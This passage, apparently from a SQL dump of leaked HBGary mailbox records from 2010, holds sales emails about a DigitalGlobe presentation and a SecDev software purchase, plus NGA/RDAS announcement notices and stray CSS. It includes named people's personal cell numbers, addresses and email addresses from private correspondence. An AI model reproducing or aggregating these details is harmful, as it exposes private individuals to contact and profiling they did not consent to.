intelligence\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Segmenting\r\nnetworks and internet access\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Integrated\r\napproach: perimeter protection, web protection, endpoint protection -- what\r\ntechnologies are being adopted\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Organizational\r\nimpact: having a SOC versus managed services, having an IR documented plan,\r\nworkflow etc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nwant to focus on their problem and what they can do based on what others are\r\ndoing today...\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn\r\nThu, Sep 9, 2010 at 6:10 PM, Aaron Barr &lt;aaron@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\nOne\r\nmissing piece is Daniel is expecting to hear a bit about social media during\r\nthe CIO/CTO presentation. &nbsp;He specifically told me he wanted to present\r\nsome of that information in that forum. &nbsp;I don\'t have to take a lot of\r\ntime, 10-15min. I can convey enough information.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\nto what level do they want information on DoD, NSA, CyberCOM information?\r\n&nbsp;Is this a how does NSA detect APT (Tutiledge), DHS (Einstein), how does\r\nmalware analysis fit into the Incident handling process, etc? &nbsp;Do they\r\nwant information on the DIB (Defense Industrial Base) initiative and how the\r\nCNCI is being implemented? &nbsp;Legislation?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nSep 9, 2010, at 8:55 PM, Maria Lucas wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMonday you will be presenting at Digital Globe -- the agenda is attached and\r\napproved by DigitalGlobe.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nand Ted will both be attending.&nbsp; Aaron is there to present Social\r\nEngineering Training and Ted is there to assist with the Active Defense\r\nsoftware sale and will help to provide installation, deployment and training\r\npost-sale.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam available to review the agenda anytime.&nbsp; I will be reviewing the agenda\r\nwith Ted and he said that he will be there to keep you on track and be\r\nresponsible to make sure that we cover all the topics important to closing the\r\ndeal.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwould attend the meeting&nbsp;normally but I believe you are in excellent\r\ncompany already.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet\r\nme know when you would like to do this?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGARY\r\nPRESENTATION OUTLINE FOR DIGITALGLOBE.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7705,'aaron_hbgary_com/7705.html'),(11609,'2010-09-10','\"carma\" <carma@hbgary.com>','/aaron@hbgary.com/new/1297008736.M923954P14101Q6464.eml','a.manchanda@secdev.ca,a.manchanda@secdev.ca','RE: SecDev needs a quote','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Arnav,\r\n\r\n&nbsp;\r\n\r\nI tried to reach you earlier in regards to the HB Gary Responder\r\nproduct but I think there might have been some confusion.&nbsp; I work for HB Gary\r\nand manage the Canada area. \r\n\r\n&nbsp;\r\n\r\nPer my conversation with Aaron, I&#8217;d like to confirm you have all\r\nthe info you need in order to process the purchase order for our software. &nbsp;I\r\nunderstand you need it for your engagement on Monday so we need to speed up the\r\nstandard process.&nbsp; If you could please give me a call at your earliest convenience,\r\nI would greatly appreciate it.\r\n\r\n&nbsp;\r\n\r\nThank you!\r\n\r\n&nbsp;\r\n\r\nBest Regards,\r\n\r\n&nbsp;\r\n\r\nCarma Beedle\r\n\r\nDir of Regional Sales \r\n\r\nHB Gary\r\n\r\n415 517 0663\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 10, 2010 6:02 AM\r\nTo: carma@hbgary.com\r\nSubject: Fwd: SecDev needs a quote\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n&lt;a.manchanda@secdev.ca&gt;\r\nDate: September 10, 2010 8:58:38 AM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\nSubject: Re: SecDev needs a quote\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe address to ship to would be:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNart Villeneuve\r\n\r\n\r\n\r\n\r\n\r\nThe SecDev Group\r\n\r\n\r\n\r\n\r\n\r\n172 Davenport Road\r\n\r\n\r\n\r\n\r\n\r\nToronto, Ontario&nbsp;M5R 1J2\r\n\r\n\r\n\r\n\r\n\r\nCanada\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPhone: &nbsp;(416) 926-3983\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-09-09, at 9:29 PM, Arnav Manchanda wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis is great, we\'ll take it! :)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRe: our use for it for the large telco, we need it quite\r\nurgent for Monday morning - is there a way this can be facilitated (e.g. a\r\ntemporary license) until he gets the hard product?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow can we do the payment? Can you guys ship to Canada for\r\ndelivery Monday AM?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\nManchanda\r\n\r\n\r\n\r\nBusiness Capture &amp; Analytics\r\n\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWorld Exchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (438) 885-3328\r\nE-mail:&nbsp;a.manchanda@secdev.ca&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nemail and any attached files are confidential and copyright protected. If you\r\nare not the addressee, any dissemination of this communication is strictly\r\nprohibited. Unless otherwise expressly agreed in writing, nothing stated in\r\nthis communication shall be legally binding.\r\n\r\n&nbsp;\r\n\r\nConsider\r\nthe environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15792,'aaron_hbgary_com/15792.html'),(11610,'2010-09-10','arc@westfields.net','/aaron@hbgary.com/new/1297008737.M124032P14101Q6465.eml','federal@hbgary.com','NGA / RDAS Announcement Posting','\r\nAn announcement has been posted on the NGA-RDAS effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /RDAS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',8286,'aaron_hbgary_com/8286.html'),(11611,'2010-09-10','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297008737.M329504P14101Q6466.eml','\"carma\" <carma@hbgary.com>,\"carma\" <carma@hbgary.com>','Re: SecDev needs a quote','Hello CarmaCan you call me at the number below?Arnav Manchanda+1 (438) 885-3328On 2010-09-10, at 12:26 PM, \"carma\" &lt;carma@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nHi Arnav,\r\n\r\n&nbsp;\r\n\r\nI tried to reach you earlier in regards to the HB Gary Responder\r\nproduct but I think there might have been some confusion.&nbsp; I work for HB Gary\r\nand manage the Canada area. \r\n\r\n&nbsp;\r\n\r\nPer my conversation with Aaron, I’d like to confirm you have all\r\nthe info you need in order to process the purchase order for our software. &nbsp;I\r\nunderstand you need it for your engagement on Monday so we need to speed up the\r\nstandard process.&nbsp; If you could please give me a call at your earliest convenience,\r\nI would greatly appreciate it.\r\n\r\n&nbsp;\r\n\r\nThank you!\r\n\r\n&nbsp;\r\n\r\nBest Regards,\r\n\r\n&nbsp;\r\n\r\nCarma Beedle\r\n\r\nDir of Regional Sales \r\n\r\nHB Gary\r\n\r\n415 517 0663\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 10, 2010 6:02 AM\r\nTo: carma@hbgary.com\r\nSubject: Fwd: SecDev needs a quote\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n&lt;a.manchanda@secdev.ca&gt;\r\nDate: September 10, 2010 8:58:38 AM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\nSubject: Re: SecDev needs a quote\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe address to ship to would be:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNart Villeneuve\r\n\r\n\r\n\r\n\r\n\r\nThe SecDev Group\r\n\r\n\r\n\r\n\r\n\r\n172 Davenport Road\r\n\r\n\r\n\r\n\r\n\r\nToronto, Ontario&nbsp;M5R 1J2\r\n\r\n\r\n\r\n\r\n\r\nCanada\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPhone: &nbsp;(416) 926-3983\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-09-09, at 9:29 PM, Arnav Manchanda wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis is great, we\'ll take it! :)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRe: our use for it for the large telco, we need it quite\r\nurgent for Monday morning - is there a way this can be facilitated (e.g. a\r\ntemporary license) until he gets the hard product?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow can we do the payment? Can you guys ship to Canada for\r\ndelivery Monday AM?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\nManchanda\r\n\r\n\r\n\r\nBusiness Capture &amp; Analytics\r\n\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWorld Exchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (438) 885-3328\r\nE-mail:&nbsp;a.manchanda@secdev.ca&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nemail and any attached files are confidential and copyright protected. If you\r\nare not the addressee, any dissemination of this communication is strictly\r\nprohibited. Unless otherwise expressly agreed in writing, nothing stated in\r\nthis communication shall be legally binding.\r\n\r\n&nbsp;\r\n\r\nConsider\r\nthe environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5388,'aaron_hbgary_com/5388.html'),(11612,'2010-09-10','arc@westfields.net','/aaron@hbgary.com/new/1297008737.M557501P14101Q6467.eml','federal@hbgary.com','NGA / RDAS Draft RFI document posting','\r\nA Draft Request For Information (RFI) has been posted or updated on the NGA-RDAS effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /RDAS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* 